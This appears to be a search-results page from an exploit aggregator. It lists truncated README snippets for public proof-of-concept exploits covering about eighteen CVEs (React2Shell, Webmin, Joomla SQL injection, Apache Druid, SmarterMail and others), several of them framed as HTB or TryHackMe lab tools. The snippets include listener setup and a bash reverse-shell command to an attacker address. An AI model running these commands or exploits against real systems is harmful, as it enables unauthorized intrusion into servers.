536 matches found
React2Shell_Exploit
React2ShellExploit CVE-2025-55182 我创建了简易的 react2shell CVE-2025-55182 Python 漏洞利用程序 用法 1. 保存脚本：将上述代码保存为 exploit.py。 2. 更新 Hosts：确保 reactor.htb 在你的 /etc/hosts 文件中解析到目标 IP。 echo " reactor.htb" | sudo tee -a /etc/hosts 3. 启动监听：打开一个终端以接收反弹 Shell。 nc -lvnp 4444 4. 执行漏洞利用：使用反弹 Shell 载荷运行脚本。 python3...
CVE-2021-21425-RCE
这是我自己的版本，我在网上找到了很多，但那些都很糟糕。 用法 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 等待.. 60秒后你将在监听器上获得shell。...
CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit
CMS-Made-Simple-2.2.10---SQL注入漏洞利用（含Bug修复） 该漏洞利用已修正以支持Python 3 CVE-2019-9053 原始漏洞利用来源：https://www.exploit-db.com/exploits/46635 可能的错误及其修复 Traceback most recent call last: File "46635.py", line 12, in from termcolor import colored ImportError: No module named termcolor 修复方法 pip install termcolor...
CVE-2023-43364-Exploit-CVE
CVE-2023-43364-Exploit-CVE 这是一个 Python 脚本，用于对 Searchor 2.4.0 进行漏洞利用 —— eval 函数的实现不安全，可被利用执行远程代码（RCE）。 该靶机依赖已安装的 busybox，因为我编写此脚本是为了 HackTheBox 上的 Busqueda 机器。如果你需要使用 busybox 以外的其他工具，只需将 payload 替换为另一个反弹 shell 即可。...
CVE-2022-22954
CVE-2022-22954 VMware Workspace ONE Access远程代码执行漏洞 Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 风险概述 本工具仅限授权安全测试使用,禁止未授权非法攻击站点 在线阅读《中华人民共和国网络安全法》 0x01 工具使用 python CVE-2022-22954.py -h 获取帮助 0x02 Bug问题 Bug请提交Issues，有时间会看的 0x03 内容更新 1. 优化报错输出...
CVE-2012-2982_python
CVE-2012-2982 利用程序（Python） 你好，我是一名安全研究员，这是我的第一个漏洞利用程序。 Webmin 1.580 存在一个 RCE 漏洞，也就是 CVE-2012-2982 使用此 payload： 1. 下载 2. 用文本编辑器打开！ 3. 将 targetIP 改为你的目标 4. 将 lhost 改为你自己的 IP 5. 将 lport 改为监听器将要运行的端口号 6. 最后，'page' : "%2F", 'user' : "user1", 'pass' : "1user" 这里默认用户名是 "user1"，请改成你自己的；"1user"...
CVE-2017-8917-Joomla
CVE-2017-8917-Joomla Python脚本用于利用Joomla! 3.7.0中的CVE-2017-8917 SQL注入漏洞 仅用于教育目的 。用于TryHackMe Dailybugle CTF 声明 本仓库中的所有脚本/二进制文件仅应用于授权的渗透测试和/或教育目的。任何误用本软件的行为均不归责任者或任何其他合作者。请在您自己的网络中或获得网络所有者许可的情况下使用。 用法 python3 main.py --host x.x.x.x --debug 示例 在TryHackMe Dailybugle CTF上...
CVE-2024-53677-Exploit
CVE-2024-53677 漏洞利用 此仓库包含一个自动化的 Python 漏洞利用脚本和一个 JSP 网页 CVE-2024-53677-漏洞利用...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 反弹shell如下： 写入反弹shell脚本 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 赋予shell脚本执行权限 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 执行shell python3 CVE-2021-25646.p...
CVE-2023-41425
CVE-2023-41425 编写了一个，因为我找到的那个不起作用 用法 python3 exploit.py http://example.com/loginURL 10.10.xx.xx 9001...
htb-wifinetictwo-exploit
CVE-2021-31630 漏洞利用 PoC 此 Python 脚本是 CVE-2021-31630 的概念验证（PoC）漏洞利用代码，针对 HackTheBox 平台上 WifineticTwo 主机中运行的 OpenPLC 漏洞。它仅用于教育目的，旨在受控环境中演示漏洞利用过程。 免责声明 此工具仅供安全研究和教育目的使用。未经事先双方同意，使用此工具攻击目标属于违法行为。开发者不对滥用此漏洞利用代码的用户所造成的任何损失或刑事指控承担责任。 前置条件 在运行此漏洞利用代码之前，请确保你具备以下条件： 系统上安装了 Python 3。 已安装 requests 库。你可以使用 pi...
Exploit for CVE-2026-19949
CVE-2026-19949 Donate Help maintain this p...
SmarterMail-CVE-2026-24423-
SmarterMail ConnectToHub RCE A Python-based exploit for CVE-2026-24423 , an unauthenticated Remote Code Execution vulnerability in SmarterTools SmarterMail's ConnectToHub functionality. Intended use: Authorized security testing, CTFs, Hack The Box labs, and controlled research environments only...
CVE-2015-1579
CVE-2015-1579 - WP Revslider AFD Exploit: Wordpress Slider Revolution Responsive = 4.1.4: root@kitploit: Fecha de vulnerabilidad: 24/07/2014 Autor del exploit: anarc0der Versión: Wordpress Slider Revolution Responsive = 4.1.4 CVE : CVE-2015-1579 Cómo usar: root@kitploit: python3 xpl.py...
Exploit for CVE-2015-3246
CVE-2015-3246 and More cve-2015-3245, cve-2015-3246, cve-2015...
Exploit for CVE-2026-19914
cve-id Donate Help maintain this project...
📄 OpenCTI 7.260325.0 Authorization Bypass
A proof of concept exploit for an authorization bypass vulnerability in OpenCTI version 7.260325.0. The vulnerability affects OpenCTI versions prior to 7.260326.0 and allows a low-privileged authenticated user with the KNOWLEDGEKNUPDATE capability to bypass confidence-level and object-marking...
Exploit for Deserialization of Untrusted Data in Facebook React
React2ShellExploit CVE-2025-55182 I created simple react2she...
📄 ProjeQtor 12.4.3 SQL Injection
This Python script automates exploitation of an SQL injection vulnerability in a ProjeQtor login interface. Version 12.4.3 is affected. ================================================================================================================================== | Title : ProjeQtor 12.4.3...